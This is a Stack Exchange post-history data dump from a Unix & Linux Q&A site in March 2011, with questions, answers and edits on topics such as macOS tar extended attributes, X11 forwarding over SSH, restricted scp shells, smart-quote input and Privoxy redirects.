  <row Id="23574" PostHistoryTypeId="2" PostId="9865" RevisionGUID="02942ce8-283f-4f74-9b20-4c9e82b044a9" CreationDate="2011-03-22T07:22:21.000" UserId="1107" Text="You posted in a comment that you are working on a Mac OS X system. This is an important clue to the purpose of these `._*` files.&#xD;&#xA;&#xD;&#xA;These `._*` archive entries are chunks of [AppleDouble](http://en.wikipedia.org/wiki/AppleSingle_and_AppleDouble_formats) data that contain the extra information associated with the corresponding file (the one without the `._` prefix). They are generated by the Mac OS X–specific [*copyfile(3)*](http://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man3/copyfile.3.html) family of functions. The AppleDouble blobs store access control data (ACLs) and extended attributes (commonly, *Finder* flags and “resource forks”, but xattrs can be used to store any kind of data).&#xD;&#xA;&#xD;&#xA;The system-supplied Mac OS X archive tools (`bsdtar` (also symlinked as `tar`), `gnutar`, and `pax`) will generate a `._*` archive member for any file that has any extended information associated with it; in “unarchive” mode, they will also decode those archive members and apply the resulting extended information to the associated file. This creates a “full fidelity” archive for use on Mac OS X systems by preserving and later extracting all the information that the HFS+ filesystem can store.&#xD;&#xA;&#xD;&#xA;The corresponding archive tools on other systems do not know to give special handling to these `._*` files, so they are unpacked as normal files. Since such files are fairly useless on other systems, they are often seen as “junk files”. Correspondingly, if a non–Mac OS X system generates an archive that includes normal files that start with `._`, the Mac OS X unarchiving tools will try to decode those files as extended information.&#xD;&#xA;&#xD;&#xA;There is, however an undocumented(?) way to make the system-supplied Mac OS X archivers behave like they do on other Unixy systems: the COPYFILE_DISABLE environment variable. Setting this variable (to any value, even the empty string), will prevent the archivers from generating `._*` archive members to represent any extended information associated with the archived files. Its presence will also prevent the archivers from trying to interpret such archive members as extended information.&#xD;&#xA;&#xD;&#xA;    COPYFILE_DISABLE=1 tar czf new.tar.gz …&#xD;&#xA;    COPYFILE_DISABLE=1 tar xzf unixy.tar.gz …&#xD;&#xA;&#xD;&#xA;You might set this variable in your shell’s initialization file if you want to work this way more often than not.&#xD;&#xA;&#xD;&#xA;    # disable special creation/extraction of ._* files by tar, etc. on Mac OS X&#xD;&#xA;    COPYFILE_DISABLE=1; export COPYFILE_DISABLE&#xD;&#xA;&#xD;&#xA;Then, when you need to re-enable the feature (to preserve/restore the extended information), you can “unset” the variable for individual commands:&#xD;&#xA;&#xD;&#xA;    (unset COPYFILE_DISABLE; tar czf new-osx.tar.gz …)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The archivers on Mac OS X 10.4 also do something similar, though they use a different environment variable: COPY_EXTENDED_ATTRIBUTES_DISABLE&#xD;&#xA;" />
  <row Id="23575" PostHistoryTypeId="2" PostId="9866" RevisionGUID="1fa93a12-0728-47ec-a4e6-9130fde39c4c" CreationDate="2011-03-22T07:50:59.667" UserId="4949" Text="You might want to look at [scponly][1]; it's essentially a login shell that can *only* be used to launch scp or the sftpd subsystem. In the `scponlyc` variant it performs a chroot before activating the subsystem in question. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sublimation.org/scponly/wiki/index.php/Main_Page" />
  <row Id="23576" PostHistoryTypeId="2" PostId="9867" RevisionGUID="1c205de9-de50-47e8-85ec-e8137c4406ea" CreationDate="2011-03-22T07:53:58.777" UserId="5103" Text="It's like this: &quot;“&quot;(u201c) &quot;”&quot;(u201d)." />
  <row Id="23577" PostHistoryTypeId="1" PostId="9867" RevisionGUID="1c205de9-de50-47e8-85ec-e8137c4406ea" CreationDate="2011-03-22T07:53:58.777" UserId="5103" Text="How do you guy input quote marks using keyboard? (u201c, u201d)" />
  <row Id="23578" PostHistoryTypeId="3" PostId="9867" RevisionGUID="1c205de9-de50-47e8-85ec-e8137c4406ea" CreationDate="2011-03-22T07:53:58.777" UserId="5103" Text="ékeyboardà" />
  <row Id="23579" PostHistoryTypeId="2" PostId="9868" RevisionGUID="9578d387-fb04-4f03-8619-cc32af60a5ff" CreationDate="2011-03-22T07:54:21.427" UserId="4949" Text="No, you don't. As Gilles pointed out, rssh works very nicely to this end, as does [scponly][1]. See also [the discussion in this related question][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sublimation.org/scponly/wiki/index.php/Main_Page&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/9853/restricting-an-scp-sftp-user-to-a-directory" />
  <row Id="23580" PostHistoryTypeId="2" PostId="9869" RevisionGUID="3b36c9af-2a2a-4bae-aac5-9e12c0c1608d" CreationDate="2011-03-22T08:00:45.267" UserId="5664" Text="perl is not a very good idea, because it's an OpenWrt router, so not enough space for it.&lt;br&gt;&#xD;&#xA;&quot;cat -v&quot; doesn't works, because it doesn't supports the &quot;-v&quot; option&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Any ideas? :\&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Here's a bad text: &lt;br&gt;&#xD;&#xA;http://pastebin.com/raw.php?i=zjMGHNq5&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Between the &quot;review&quot; and the &quot;kde&quot; word, theres a non-printable char. For example i need to remove these kind of chars for texts :\&lt;br&gt;&#xD;&#xA;Thank you!&lt;br&gt;" />
  <row Id="23581" PostHistoryTypeId="1" PostId="9869" RevisionGUID="3b36c9af-2a2a-4bae-aac5-9e12c0c1608d" CreationDate="2011-03-22T08:00:45.267" UserId="5664" Text="Only output printable chars OpenWrt" />
  <row Id="23582" PostHistoryTypeId="3" PostId="9869" RevisionGUID="3b36c9af-2a2a-4bae-aac5-9e12c0c1608d" CreationDate="2011-03-22T08:00:45.267" UserId="5664" Text="élinuxàéopenwrtà" />
  <row Id="23583" PostHistoryTypeId="2" PostId="9870" RevisionGUID="2e7347c3-68fa-4f7f-a3a5-1d4cbc32c347" CreationDate="2011-03-22T08:05:52.173" UserId="1594" Text="I have an ubuntu server running on EC2 (which I didn't install myself, just picked up an AMI). So far I'm using putty to work with it, but I wonder how to work on it with GUI tools (I'm not familiar with linux UI tools, but I want to learn). Silly me, I'm missing the convenience of Windows Explorer.&#xD;&#xA;&#xD;&#xA;I currently have only Windows at home. How do I set up GUI tools to work with a remote server? Should I even do this, or should I stick to command line? Do the answers change if I have a local linux machine to play with?" />
  <row Id="23584" PostHistoryTypeId="1" PostId="9870" RevisionGUID="2e7347c3-68fa-4f7f-a3a5-1d4cbc32c347" CreationDate="2011-03-22T08:05:52.173" UserId="1594" Text="How do I work with GUI tools over a remote server?" />
  <row Id="23585" PostHistoryTypeId="3" PostId="9870" RevisionGUID="2e7347c3-68fa-4f7f-a3a5-1d4cbc32c347" CreationDate="2011-03-22T08:05:52.173" UserId="1594" Text="éubuntuàéguià" />
  <row Id="23586" PostHistoryTypeId="2" PostId="9871" RevisionGUID="325a9934-1cfd-43f1-a165-772360ad1d3b" CreationDate="2011-03-22T08:15:20.020" UserId="4949" Text="You can use X11 forwarding over SSH; make sure the option &#xD;&#xA;&#xD;&#xA;`X11Forwarding yes`&#xD;&#xA;&#xD;&#xA;is enabled in `/etc/ssh/sshd_config`, and either enable X11 forwarding by hand with `ssh -X remoteserver` or add a line saying &#xD;&#xA;&#xD;&#xA;`ForwardX11 yes` &#xD;&#xA;&#xD;&#xA;to the relevant host entry in `~/.ssh/config` &#xD;&#xA;&#xD;&#xA;" />
  <row Id="23587" PostHistoryTypeId="5" PostId="9527" RevisionGUID="d3bd24ac-474e-4793-a9e6-bd41e5cc6a3a" CreationDate="2011-03-22T08:18:56.507" UserId="5664" Comment="added 95 characters in body" Text="Is a good method to encrypt the full disk (like with dm-crypt/AES under Linux)? Can someone please post a small and compact howto?&#xD;&#xA;&lt;br&gt;&#xD;&#xA;i started a bounty to search for every encryption solution in OBSD! (need compact howtos)" />
  <row Id="23588" PostHistoryTypeId="6" PostId="9870" RevisionGUID="cb619454-f366-4cfe-80d3-d18c6fbae65d" CreationDate="2011-03-22T08:21:53.340" UserId="4949" Comment="edited tags" Text="élinuxàéubuntuàésshàéguià" />
  <row Id="23589" PostHistoryTypeId="5" PostId="9871" RevisionGUID="1542c1d2-9e51-4e79-8342-f19dfd3e10cc" CreationDate="2011-03-22T08:29:10.353" UserId="4949" Comment="Whoops, didn't see the bit about a windows platform initially. Amended." Text="You can use X11 forwarding over SSH; make sure the option &#xD;&#xA;&#xD;&#xA;`X11Forwarding yes`&#xD;&#xA;&#xD;&#xA;is enabled in `/etc/ssh/sshd_config`, and either enable X11 forwarding by hand with `ssh -X remoteserver` or add a line saying &#xD;&#xA;&#xD;&#xA;`ForwardX11 yes` &#xD;&#xA;&#xD;&#xA;to the relevant host entry in `~/.ssh/config` &#xD;&#xA;&#xD;&#xA;Of course, that requires a working X display at the local end, so if you're using windows you're going to have to install something like [XMing][1], then setup X11 forwarding in PuTTY as [this page][2] or [this article][3] demonstrates.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/xming/&#xD;&#xA;  [2]: http://www.cse.unsw.edu.au/~helpdesk/documentation/Putty.html&#xD;&#xA;  [3]: http://www.linux.com/archive/feed/118106" />
  <row Id="23590" PostHistoryTypeId="25" PostId="9870" RevisionGUID="6d3bdd09-8d05-44ec-a1a9-597cc2ee969a" CreationDate="2011-03-22T08:31:30.007" Comment="http://twitter.com/#!/StackUnix/status/50112350136709120" />
  <row Id="23591" PostHistoryTypeId="2" PostId="9872" RevisionGUID="5c2b073e-407c-4b5a-841d-572b7f32af27" CreationDate="2011-03-22T08:40:19.710" UserId="4671" Text="Shadur covered how to enable X. Note that the `/etc/ssh/sshd_config` is at the server end, and the `~/.ssh/config` is at the client end, so we are in general talking about two different machines. X forwarding will display your remote application on the local X display. So the two configs are to tell the remote and the local to allow this operation to happen, respectively.&#xD;&#xA;&#xD;&#xA;As to whether you should use X, it depends. You need to consider (at least) the following factors.&#xD;&#xA;&#xD;&#xA; - What kind of bandwidth do you have? What is its speed? Is it metered? Is there a cap? If you have a very fast connection to the net and no restrictions, that X is more usable, otherwise it can be very slow. Bear in mind that in general X is a network hog; it is not bandwidth optimized (or whatever the right phrase is).&#xD;&#xA;&#xD;&#xA; - What tools are you planning to use over X? Are there non-gui replacements/equivalents? If you give examples of the kinds of tools you are thinking of using, people could suggest alternatives if available.&#xD;&#xA;&#xD;&#xA;In general my recommendation is to use command line (apt, wget, rsync) or curses applications (like aptitude or mc) if they are available and do what you need. BTW, running a X server on a Windows client to connection to a Linux server is an option, though not a particularly good one.&#xD;&#xA;&#xD;&#xA;If you have a local linux server, then the bandwidth issues go away, and X is a much more viable option.&#xD;&#xA;" />
  <row Id="23592" PostHistoryTypeId="2" PostId="9873" RevisionGUID="26931a04-1fcd-48db-8f4d-8fecbea06b7e" CreationDate="2011-03-22T08:44:15.347" UserId="5661" Text="Another reason that I think is not mentioned is that you can use the filesystem type and the configurations that you prefer for `/boot` which are certainly not the same as the ones when it is used as part of `/`. Features like journaling, checksums, etc. are not useful for `/boot` and you can make booting faster by deactivating them or using a simpler filesystem (like `ext2`)." />
  <row Id="23593" PostHistoryTypeId="5" PostId="9788" RevisionGUID="ef14a8e7-5d77-46d2-b527-7fa524f30681" CreationDate="2011-03-22T08:53:20.223" UserId="5923" Comment="Added -f to disable globbing in case file contains weird characters. Changed test to only list executables" Text="If you don't have a `which` supporting `-a`, or `whence` available, roll your own:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh -f&#xD;&#xA;&#xD;&#xA;    IFS=&quot;:&quot;&#xD;&#xA;    for PART in $PATH&#xD;&#xA;    do&#xD;&#xA;      if test -x &quot;$PART/$1&quot;&#xD;&#xA;      then&#xD;&#xA;        echo $PART/$1&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23594" PostHistoryTypeId="2" PostId="9874" RevisionGUID="ba7b9d0c-1794-418d-87f6-1c959e8b7928" CreationDate="2011-03-22T08:55:07.587" UserId="5495" Text="I think I find the answer. On my system &quot;xdg-mime query filetype ...&quot; uses&quot;file&quot; command to get the file type, while on ubuntu it uses &quot;gnomevfs&quot;.&#xD;&#xA;&#xD;&#xA;It seems the &quot;file&quot; command does not check xml entries of shared-mime-info, but looks into the file &quot;/user/share/file/magic&quot; to get the file MIME type.&#xD;&#xA;&#xD;&#xA;If I use &quot;file&quot; command on Ubuntu, it can not tell me the right MIME type, either.&#xD;&#xA;&#xD;&#xA;I'll study how to edit this magic file." />
  <row Id="23595" PostHistoryTypeId="5" PostId="9872" RevisionGUID="eb862e5f-9624-4020-95db-faeef6a82861" CreationDate="2011-03-22T09:15:31.087" UserId="4671" Comment="added 324 characters in body" Text="Shadur covered how to enable X. Note that the `/etc/ssh/sshd_config` is at the server end, and the `~/.ssh/config` is at the client end, so we are in general talking about two different machines. X forwarding will display your remote application on the local X display. So the two configs are to tell the remote and the local to allow this operation to happen, respectively.&#xD;&#xA;&#xD;&#xA;As to whether you should use X, it depends. You need to consider (at least) the following factors.&#xD;&#xA;&#xD;&#xA; - What kind of bandwidth do you have? What is its speed? Is it metered? Is there a cap? If you have a very fast connection to the net and no restrictions, that X is more usable, otherwise it can be very slow. Bear in mind that in general X is a network hog; it is not bandwidth optimized (or whatever the right phrase is).&#xD;&#xA;&#xD;&#xA; - What tools are you planning to use over X? Are there non-gui replacements/equivalents? If you give examples of the kinds of tools you are thinking of using, people could suggest alternatives if available. Also be aware that some well known tools come in both gui and commandline/console form. Eg. emacs, aptitude, reportbug.&#xD;&#xA;&#xD;&#xA;In general my recommendation is to use command line (apt, wget, rsync) or curses applications (like aptitude or mc) if they are available and do what you need. Such apps aren't necessarily worse than X apps; some of these are fine applications. Eg. The software of John Davis, eg jed and slrn, both console apps, show his distinctive aesthetic, and are works of art. BTW, running a X server on a Windows client to connect to a Linux server is an option, though not a particularly good one.&#xD;&#xA;&#xD;&#xA;If you have a local linux server, then the bandwidth issues go away, and X is a much more viable option.&#xD;&#xA;" />
  <row Id="23596" PostHistoryTypeId="2" PostId="9875" RevisionGUID="01df340d-db7f-4a63-b7c2-e6c8b34f3097" CreationDate="2011-03-22T09:19:45.287" UserId="4319" Text="If you used Emacs, you could run a locally installed Emacs on your Windows, and do file editing, file management (dired), version control, compilation, and also some other random work in the shell (&lt;kbd&gt;M-x&lt;/kbd&gt;` shell` or &lt;kbd&gt;M-x&lt;/kbd&gt;` eshell`), and probably some more things via [TRAMP](http://www.emacswiki.org/cgi-bin/wiki/TrampMode) in your local Emacs.&#xD;&#xA;&#xD;&#xA;That's an illustration that remote X programs might not be the right solution for you.&#xD;&#xA;&#xD;&#xA;Say, if you want to work with &quot;Windows Explorer&quot;, then there still won't be a &quot;Windows Explorer&quot; on the Ubuntu server, so you can't run it remotely.&#xD;&#xA;&#xD;&#xA;But if &quot;Windows Explorer&quot; had something like TRAMP as a feature (for remote accesses via SSH), you could continue to happily use your local  &quot;Windows Explorer&quot;, if that's all what you need." />
  <row Id="23601" PostHistoryTypeId="5" PostId="9764" RevisionGUID="a0e4ebcc-c793-4002-a8df-acec14887f36" CreationDate="2011-03-22T09:58:53.207" UserId="1323" Comment="modified regex and explanation to fit additional use case" Text="Privoxy's redirect action uses limited regular expressions to match and rewrite urls. Luckily, backreferences are supported. You can rewrite your redirect match in such a way to support two-letter language codes, plus the single three letter code you mentioned:&#xD;&#xA;&#xD;&#xA;    { +redirect{s@http://(..|war).wikipedia.org/wiki/@https://secure.wikimedia.org/wikipedia/$1/wiki/@} }&#xD;&#xA;    .wikipedia.org&#xD;&#xA;&#xD;&#xA;I've replaced your original two letter language code with &quot;(..|war)&quot;. The parentheses create a backreference which can later be referred to as &quot;$1&quot;. The two dots match any two characters. The pipe character is a logical &quot;or&quot; operator, making matches against strings on either side. You can use the pipe multiple times within a match group. You can use multiple backreferences in a single regex. Increment the number used to refer to the match (ie. $2, $3, etc). &#xD;&#xA;&#xD;&#xA;[The Privoxy user manual appendix][1] describes support of regular expressions and there are more useful examples there.&#xD;&#xA;&#xD;&#xA;For your second question, you will have to write additional redirect actions for each url you want to redirect to HTTPS. This will be cumbersome, as you will have to tune your regexps for each site's url patterns, and the site must of course offer the content over SSL also.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.privoxy.org/user-manual/appendix.html" />
  <row Id="23603" PostHistoryTypeId="5" PostId="9753" RevisionGUID="8a4c1984-4c05-4fd4-84d5-8dd7d6b845a2" CreationDate="2011-03-22T10:07:18.917" UserId="1290" Comment="typos removed" Text="I can tell you what I do:&#xD;&#xA;&#xD;&#xA;Check if the chip is supported and/or if the manufacturer supplies drivers for the card.&#xD;&#xA;&#xD;&#xA;For instance, I have an Nvidia which on Linux, is no problem. I can choose from a variety of drivers. and it works well that way.&#xD;&#xA;&#xD;&#xA;Nvidia was never a problem on Linux, most distros have the drivers in some repo, (on Fedora, that's in fedora-fusion). Those are closed-source drivers, but it's been working well for years. I remember making the kernelmod on my computer directly from the Nvidia resources, and that was six years ago.&#xD;&#xA;&#xD;&#xA;Don't be afraid do invest in a new card. Support for new cards picks up pretty quick, and since it basically all depends on the chip, it's the chip that needs to be supported. Newer cards usually have the same chip designs, but with improved performance and power efficiency. &#xD;&#xA;&#xD;&#xA;2D and 3D performance are more or less merging into one another. Compositing desktops for instance, need 3D acceleration to work properly.&#xD;&#xA;&#xD;&#xA;Another interesting aspect is, how closed-source is a closed-source driver. The Nvidia drivers *are* closed-source, but on the other hand, the developers keep a good contact with their userbase and Linux developers. So, the source is not open to anyone, but it is very likely, that you *can* have influence on the development of those drivers.&#xD;&#xA;Developing those drivers is no trivial matter, Xorg tried it, but they sort of failed and most people rely on closed drivers up until now.&#xD;&#xA;As long as the card manufacturer supplies free and good working drivers for Linux, I don't see why they shouldn't be used.&#xD;&#xA;&#xD;&#xA;To get information whether your card is supported or not, I wouldn't look too much in mailing lists, but ask the manufacturer directly. Keep in mind: The Linux users community isn't that small anymore, and especially in academia and research, Linux is usually the standard. So, manufacturers have to respond to that user sector as well. But as I said above: It's not the support for the card you're looking for, it's the support for the chip on it.&#xD;&#xA;&#xD;&#xA;When it comes to benchmarking, Data from Windows can be used, as long it uses the same acceleration toolkit (if any) (i.e. OpenGL). Benchmarks done with DirecX, can't be reproduced on Linux, obviously.&#xD;&#xA;&#xD;&#xA;Anyway, this is how I've been deciding which graphics card to get for my Linux computer." />
  <row Id="23604" PostHistoryTypeId="2" PostId="9879" RevisionGUID="5f48f75b-daf5-4ee2-921f-7335e1b1979a" CreationDate="2011-03-22T10:10:40.697" UserId="1660" Text="First thing that comes to mind is to `mv` the file(s) to a temporary, `cp` the temporary file to the old filename and delete the temporary.&#xD;&#xA;&#xD;&#xA;I just made a fast check:&#xD;&#xA;&#xD;&#xA;    touch foo&#xD;&#xA;    ls -l foo&#xD;&#xA;&#xD;&#xA;returns:&#xD;&#xA;&#xD;&#xA;    0 -rw-r--r-- 1 shunz shunz 0 2011-03-22 11:07 foo&#xD;&#xA;&#xD;&#xA;wait some minutes and then:&#xD;&#xA;&#xD;&#xA;    mv foo bar&#xD;&#xA;    ls -l bar&#xD;&#xA;&#xD;&#xA;    0 -rw-r--r-- 1 shunz shunz 0 2011-03-22 11:07 foo&#xD;&#xA;&#xD;&#xA;notice the creation time **isn't** modified, while:&#xD;&#xA; &#xD;&#xA;    cp bar foo&#xD;&#xA;    ls -l foo bar&#xD;&#xA;&#xD;&#xA;    0 -rw-r--r-- 1 shunz shunz 0 2011-03-22 11:07 bar&#xD;&#xA;    0 -rw-r--r-- 1 shunz shunz 0 2011-03-22 11:10 foo&#xD;&#xA;&#xD;&#xA;now foo is created at current time!&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;sorry, forgot to mention, tried this on a FAT32 formatted USB stick under Ubuntu.&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    " />
  <row Id="23605" PostHistoryTypeId="12" PostId="9879" RevisionGUID="98ad113f-bc83-4309-ac59-0db92467f61f" CreationDate="2011-03-22T10:10:51.180" UserId="1660" Text="[{&quot;Id&quot;:1660,&quot;DisplayName&quot;:&quot;MrShunz&quot;}]" />
  <row Id="23606" PostHistoryTypeId="13" PostId="9879" RevisionGUID="0b8f623c-e48b-42a1-b92b-fd58e350dacc" CreationDate="2011-03-22T10:11:16.173" UserId="1660" Text="[{&quot;Id&quot;:1660,&quot;DisplayName&quot;:&quot;MrShunz&quot;}]" />
  <row Id="23608" PostHistoryTypeId="2" PostId="9880" RevisionGUID="537de214-1ac5-4f61-9b22-6eeb6a287119" CreationDate="2011-03-22T10:49:44.583" UserId="5955" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm with some problems in running the Crontab with PHP files.&#xD;&#xA;&#xD;&#xA;I have this same php scripts running in Crontab for more than 6 months but some days ago mysteriously they stopped to execute the code correctly. The Crontab works but the script produces an error. The other interesting thing is that the same script runs without errors in the SSH Terminal.&#xD;&#xA;&#xD;&#xA;What should be the problem here? Is there a way to configure the Crontab to run with the same configuration of the SSH Terminal?&#xD;&#xA;&#xD;&#xA;Best Regards, " />
  <row Id="23609" PostHistoryTypeId="1" PostId="9880" RevisionGUID="537de214-1ac5-4f61-9b22-6eeb6a287119" CreationDate="2011-03-22T10:49:44.583" UserId="5955" Text="Problem with Crontab and PHP" />
  <row Id="23610" PostHistoryTypeId="3" PostId="9880" RevisionGUID="537de214-1ac5-4f61-9b22-6eeb6a287119" CreationDate="2011-03-22T10:49:44.583" UserId="5955" Text="écronàéphpà" />
  <row Id="23611" PostHistoryTypeId="5" PostId="9875" RevisionGUID="e9aed569-b075-41ff-bf20-9e227780d06d" CreationDate="2011-03-22T10:55:01.650" UserId="4319" Comment="A link to introduce &quot;dired&quot; to those who haven' t heard this word and have no idea what it's like." Text="If you used Emacs, you could run a locally installed Emacs on your Windows, and do file editing, file&amp;directory management ([dired](http://www.emacswiki.org/emacs/DiredMode)), version control, compilation, and also some other random work in the shell (&lt;kbd&gt;M-x&lt;/kbd&gt;` shell` or &lt;kbd&gt;M-x&lt;/kbd&gt;` eshell`), and probably some more things via [TRAMP](http://www.emacswiki.org/cgi-bin/wiki/TrampMode) in your local Emacs.&#xD;&#xA;&#xD;&#xA;That's an illustration that remote X programs might not be the right solution for you.&#xD;&#xA;&#xD;&#xA;Say, if you want to work with &quot;Windows Explorer&quot;, then there still won't be a &quot;Windows Explorer&quot; on the Ubuntu server, so you can't run it remotely.&#xD;&#xA;&#xD;&#xA;But if &quot;Windows Explorer&quot; had something like TRAMP as a feature (for remote accesses via SSH), you could continue to happily use your local  &quot;Windows Explorer&quot;, if that's all what you need." />
  <row Id="23612" PostHistoryTypeId="5" PostId="9645" RevisionGUID="6b2cd825-a3e1-4829-902d-ed95d1981fc0" CreationDate="2011-03-22T11:12:02.203" UserId="688" Comment="make parseable; edited title" Text="Ubuntu 10.10 network connection works fine at the start, but few minutes later the network manager pops up a message saying `disconnected you are offline` and Chrome browser returns an error message like `name not resolved`.&#xD;&#xA;&#xD;&#xA;This works fine in Windows 7. It was fine too in Ubuntu, until I updated it with 300 MB worth of updates." />
  <row Id="23613" PostHistoryTypeId="4" PostId="9645" RevisionGUID="6b2cd825-a3e1-4829-902d-ed95d1981fc0" CreationDate="2011-03-22T11:12:02.203" UserId="688" Comment="make parseable; edited title" Text="Ubuntu 10.10 network connection cut down after few minutes of starting" />
  <row Id="23614" PostHistoryTypeId="5" PostId="9724" RevisionGUID="0fdf9152-c2c0-4ce3-9b2a-bcc21e16e6e2" CreationDate="2011-03-22T11:21:10.957" UserId="688" Comment="formatting" Text="Criteria:&#xD;&#xA;&#xD;&#xA;- Audio/video calls&#xD;&#xA;- Encrypt the whole traffic [with a good encryption]&#xD;&#xA;- ported to windows 7 too&#xD;&#xA;- runs on Fedora, OpenBSD&#xD;&#xA;&#xD;&#xA;Does anybody know's a good alternative?" />
  <row Id="23615" PostHistoryTypeId="5" PostId="9724" RevisionGUID="0612476d-fcee-401c-9800-820d9be3b5f2" CreationDate="2011-03-22T11:26:17.503" UserId="2511" Comment="deleted 2 characters in body; edited title" Text="Criteria:&#xD;&#xA;&#xD;&#xA;- Audio/video calls&#xD;&#xA;- Encrypt the whole traffic [with a good encryption]&#xD;&#xA;- ported to windows 7 too&#xD;&#xA;- runs on Fedora, OpenBSD&#xD;&#xA;&#xD;&#xA;Does anybody know a good alternative?" />
  <row Id="23616" PostHistoryTypeId="4" PostId="9724" RevisionGUID="0612476d-fcee-401c-9800-820d9be3b5f2" CreationDate="2011-03-22T11:26:17.503" UserId="2511" Comment="deleted 2 characters in body; edited title" Text="Free/Open Source secure Skype alternative on Fedora &amp; OpenBSD?" />
  <row Id="23618" PostHistoryTypeId="5" PostId="9875" RevisionGUID="d63a0562-4a53-405b-b777-bb9c72ca754f" CreationDate="2011-03-22T11:40:04.620" UserId="4319" Comment="A bit more explanation about why the TRAMP way can be nice." Text="If you used Emacs, you could run a locally installed Emacs on your Windows, and do file editing, file&amp;directory management ([dired](http://www.emacswiki.org/emacs/DiredMode)), version control, compilation, and also some other random work in the shell (&lt;kbd&gt;M-x&lt;/kbd&gt;` shell` or &lt;kbd&gt;M-x&lt;/kbd&gt;` eshell`), and probably some more things via [TRAMP](http://www.emacswiki.org/cgi-bin/wiki/TrampMode) in your local Emacs. (Some easily findable demo videos that perhaps can make a person not so scared of the unknown Emacs, and TRAMP, etc.: [1](http://www.viddler.com/explore/felix_q/videos/2/), [2](http://www.youtube.com/watch?v=UjPasLGWzD0).)&#xD;&#xA;&#xD;&#xA;That's an illustration that remote X programs might not be the right solution for you. In contrast to the remote X clients way, the TRAMP way involves no heavyweight &quot;graphical&quot; traffic over the remote connection, it uses the ssh connection only to send directory listings, files, and command output back and forth.&#xD;&#xA;&#xD;&#xA;Say, if you want to work with &quot;Windows Explorer&quot;, then there still won't be a &quot;Windows Explorer&quot; on the Ubuntu server, so you can't run it remotely.&#xD;&#xA;&#xD;&#xA;But if &quot;Windows Explorer&quot; had something like TRAMP as a feature (for remote accesses via SSH), you could continue to happily use your local  &quot;Windows Explorer&quot;, if that's all what you need." />
  <row Id="23619" PostHistoryTypeId="2" PostId="9881" RevisionGUID="81bc6125-0643-4b4d-a0ff-81187702fafa" CreationDate="2011-03-22T11:43:12.090" UserId="3169" Text="In Gnome, you would press and hold down &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;, then type &lt;kbd&gt;u&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;kbd&gt;c&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;Of course, that won't work in Gnome Terminal if &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;c&lt;/kbd&gt; is bound to Copy, in which case type it in GEdit and paste it in, or learn how to enter it in your editor of choice." />
  <row Id="23620" PostHistoryTypeId="4" PostId="9867" RevisionGUID="0efafb78-8519-4cf7-8d48-623f97f6d8b0" CreationDate="2011-03-22T11:44:22.510" UserId="3169" Comment="edited tags; edited title" Text="how to type smart quotes (u201c, u201d)" />
  <row Id="23621" PostHistoryTypeId="6" PostId="9867" RevisionGUID="0efafb78-8519-4cf7-8d48-623f97f6d8b0" CreationDate="2011-03-22T11:44:22.510" UserId="3169" Comment="edited tags; edited title" Text="ékeyboardàéspecialöcharactersàéunicodeàésmartöquotesà" />
  <row Id="23622" PostHistoryTypeId="5" PostId="9553" RevisionGUID="2617dbc2-fdb9-419c-aac0-dbe4c113fec3" CreationDate="2011-03-22T11:47:30.090" UserId="2511" Comment="added 164 characters in body" Text="I'm  building or buying a new Linux system, and I'm trying to select the best graphics card for my needs. How do I go about making this decision?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;There's dozens of computer-gear review sites which drool over every detail of new graphics hardware and perform detailed benchmarks and pros and cons — for Microsoft Windows. Are these ever useful sources of information for Linux too? Does any site at least give Linux a cursory look?&#xD;&#xA;&#xD;&#xA;I'm primarily interested in good 2D performance, but with fancy new desktop environments now requiring hardware-accelerated 3D, I need to consider that too. Where can I find pre-purchase information on that?&#xD;&#xA;&#xD;&#xA;I strongly prefer having an open source driver. How do I judge which open source drivers are the best in terms of features support and performance, without joining a dozen different mailing lists? Are specific companies almost always the best bet, or does it change?&#xD;&#xA;&#xD;&#xA;What are the advantages and drawbacks of a closed-source driver? Is this mostly about 3D performance, or are there other features enabled by proprietary drivers that I might miss out on? Since a closed-source driver will mark the Linux kernel as tainted, are the closed-source companies good at providing direct end-user support for related problems? Is the state-of-the-art finally such that I can choose between open or closed for any given graphics card, or do some models require one or the other?&#xD;&#xA;&#xD;&#xA;It'd be great if the  card just worked hassle-free with whatever modern Linux distribution I choose, with no need to go through a long how-to process. Is this a reasonable hope, and how can I best find a card that'll work that way?&#xD;&#xA;&#xD;&#xA;How do I find if a specific graphics driver fits a given model on the market? Is it best to buy older cards in order to insure that support is available?&#xD;&#xA;" />
